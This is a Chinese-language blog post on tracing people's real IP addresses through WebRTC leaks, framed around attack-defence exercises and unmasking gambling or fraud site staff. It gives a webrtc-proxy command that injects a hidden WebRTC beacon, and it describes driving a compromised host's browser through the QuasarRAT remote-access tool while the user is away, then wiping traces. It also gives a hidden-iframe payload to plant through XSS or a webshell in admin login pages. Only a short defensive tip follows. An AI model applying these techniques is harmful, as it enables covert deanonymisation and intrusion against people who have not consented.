WebRTC溯源的几个实战利用场景

本文涉及的产品
日志服务 SLS,月写入数据量 50GB 1个月
简介: WebRTC溯源的几个实战利用场景

0x00 前言

最近看到几篇有关WebRTC泄露源IP的文章,这个问题其实很多年前就有人提出来了,只是当时没咋引起重视;最近看又有师傅提起了,写篇文章简单记录分享下。


目前想到在实战中可利用的场景有:HW攻防演练、BC/ZP溯源对方真实IP等...。


0x01 泄露原因

浏览器支持WebRTC并在没被禁用的情况下就有可能会泄露源IP地址,如常用的:Chrome、Firefox、Edga等浏览器均支持WebRTC。

0x02 在线检测

WebRTC可怕之处在于,即使我们使用VP嗯、或者通过小飞机、v2rayN等进行全局代理后仍会泄露我们的真实IP,可以用以下几个网址来检测,如下图所示。

    https://ip8.com/webrtc-test
    https://www.hackjie.com/tracking
    https://browserleaks.com/webrtc
    https://surfshark.com/zh/webrtc-leak-test


    注:群里几个小伙伴用他们的VP嗯也测试了下,但发现并没有显示真实IP,有时只会显示一个内网IP;由于我没有VP嗯就不测试了,大家有的可以自己去测试下。


    0x03 项目介绍

    简单介绍下@iiiusky师傅的webrtc-proxy项目,它是通过 "反向代理 + webrtc" 的方式在对方神不知鬼不觉的情况下获取对方的真实IP,具体参数说明可见下图。


    项目地址:https://github.com/iiiusky/webrtc-proxy


    0x04 实战场景

    搞攻防演练和做HC的基本都会挂代理来隐藏自己的真实IP,那么我们又该如何获取他们的真实IP呢?仅提供几种场景下的利用思路,实战还得根据所遇到的场景测试。

    1. 钓鱼场景利用

    假设我们在攻防演练中通过反制手段拿到红队主机权限,或者通过钓鱼方式拿到某BC客服、技术、代理的主机权限,这时就可以利用webrtc-proxy获取对方的真实IP。


    执行以下命令可反代指定网站并生成一个webrtc地址以隐藏形式插入到body标签中,不过我们最好还是反代他们自己网站或者常用网站,要不容易被管理发现异常。

      ./WebRtc -d 1.***.**.84 -t https://www.baidu.com -p 80 --disable-random-log

      因为要通过他们主机的浏览器去访问我们的反代地址,有啥浏览器就用啥吧,但最好还是先观察下对方是否在电脑前,趁其不在时再去操作。


      反正也就“3秒”的事,等完事了再“擦擦”...。


      这里我用的QuasarRAT开源远控进行测试,通过“Sent to Website”功能使用他们主机的默认浏览器访问反代地址或webrtc地址,但需要将“隐藏访问”选项取消勾选。

      执行以上操作后对方主机就会使用默认浏览器访问我们给定的这个网址,这时可以看到已经成功获取到他代理背后的真实IP了,如下图所示。

      反向代理开启后会在当前目录下生成两个日志文件,access为访问日志,另一个为webrtc日志,找到的真实IP就会写入在这个文件中,如下图所示。


      注意事项:

      1. 我们也尝试了一些浏览器的静默访问方法,但都只能获取到代理IP,无法获取到真实IP,好像是因为没能加载反代中的webrtc吧,没找到更好的静默访问方法,暂时只能这样了。补充:最近了解到一个叫HVNC的东东,理论上应该是可行的,但我并没有去测试;国外大多数RAT都有这功能,如:Venom RAT,大家可以自己去测试下。HVNC!隐藏桌面CobaltStrike插件

      2. 为什么不直接RDP进去使用在线检测网址获取真实IP呢?因为这样动静太大,更容易被管理发现,因为登录RDP产生的日志更多,可能会触发防护的登录提醒而导致权限丢失。


      2. 漏洞场景利用

      当挖到xss、csrf、上传等漏洞时就可以通过构造payload插入我们的webrtc地址来获取对方的真实IP,只要他通过浏览器访问了我们的webrtc时即可获取到真实IP。

        title="Damn Vulnerable Web Application (DVWA)-v1.9"


        或者通过某些漏洞拿到webshell权限后可以在管理、代理后台登录页的源代码中插入我们的webrtc,直接用以下代码即可,等待他们访问后台时即可获取到真实IP。

          <iframe style="display:none;" src="webrtc"></iframe>

          0x05 防范措施

          谷歌、火狐浏览器可通过安装WebRTC Leak Shield插件禁用webrtc;也可以通过以下方式禁用webrtc

            about:config,将media.peerconnection.enabled值改为false;


            0x06 文末总结

            简单介绍了几个常见场景下通过webrtc获取真实IP的利用思路,可根据挖到的漏洞和已拿到的权限分为主动和被动,主动就是高权限时通过他们的浏览器主动去访问,被动就是xss、csrf、上传漏洞及Webshell等,需要等待管理员自己去访问。这里我们只是在本地模拟实战场景进行了简单的测试,大家在实战应用时还可以申请一个与目标站类似域名做个解析,再搭配一个CDN简单隐藏下VPS的IP......。

            相关实践学习
            【涂鸦即艺术】基于云应用开发平台CAP部署AI实时生图绘板
            【涂鸦即艺术】基于云应用开发平台CAP部署AI实时生图绘板
            相关文章
            |
            Shell Linux C语言
            【Shell 命令集合 系统设置 】⭐⭐⭐Linux 清除终端屏幕内容 clear命令 使用指南
            【Shell 命令集合 系统设置 】⭐⭐⭐Linux 清除终端屏幕内容 clear命令 使用指南
            441 0
            |
            SQL 数据库
            达梦(DM) SQL查询及联合查询
            继续讲解达梦(DM)数据库SQL查询操作
            |
            2月前
            |
            监控 安全 数据可视化
            BloodHound 域内信息收集与攻击路径分析详解
            BloodHound是一款基于图论的域渗透分析利器,通过可视化技术揭示Active Directory中隐藏的权限关系与攻击路径。它支持多维度数据收集、自动化路径计算,助力红队精准打击,蓝队有效防御,全面提升域环境安全防护能力。
            186 3
            |
            Web App开发 机器人 语音技术
            python的webrtc库实现语音端点检测
            python的webrtc库实现语音端点检测 文章源码在 https://github.com/wangshub/python-vad 引言 语音端点检测最早应用于电话传输和检测系统当中,用于通信信道的时间分配,提高传输线路的利用效率.
            3340 0
            |
            编译器 Go
            Go中init()执行顺序分析
            文章分析了Go语言中`init()`函数的执行顺序和时机,指出全局变量初始化后先于`init()`函数执行,而`init()`函数在`main()`函数之前执行,且包的`init()`函数按包的导入顺序进行初始化。
            210 1
            |
            资源调度 JavaScript PHP
            Vue3+ element plus 前后分离admin项目安装教程
            Vue3+ element plus 前后分离admin项目安装教程
            368 0
            |
            机器学习/深度学习 Python
            音频去噪:使用Python和FFT增强音质
            声音去噪目标是改善聆听体验以及音频分析和处理的准确性。过滤掉噪音对于高保真音频来说非常重要,不仅是为了聆听,也是为了创建某些机器学习任务的数据集。
            484 0
            音频去噪:使用Python和FFT增强音质
            |
            机器学习/深度学习 存储 自然语言处理
            FunASR
            【6月更文挑战第14天】
            2134 4
            |
            安全
            BurpSuite进阶篇--自动识别Token值
            BurpSuite进阶篇--自动识别Token值
            916 21
            BurpSuite进阶篇--自动识别Token值
            |
            SQL 分布式计算 运维
            面向未来的开源 OLAP 技术架构探讨以及选型实践
            本文详细介绍了开源大数据OLAP的演化过程和最佳实践。
            10439 57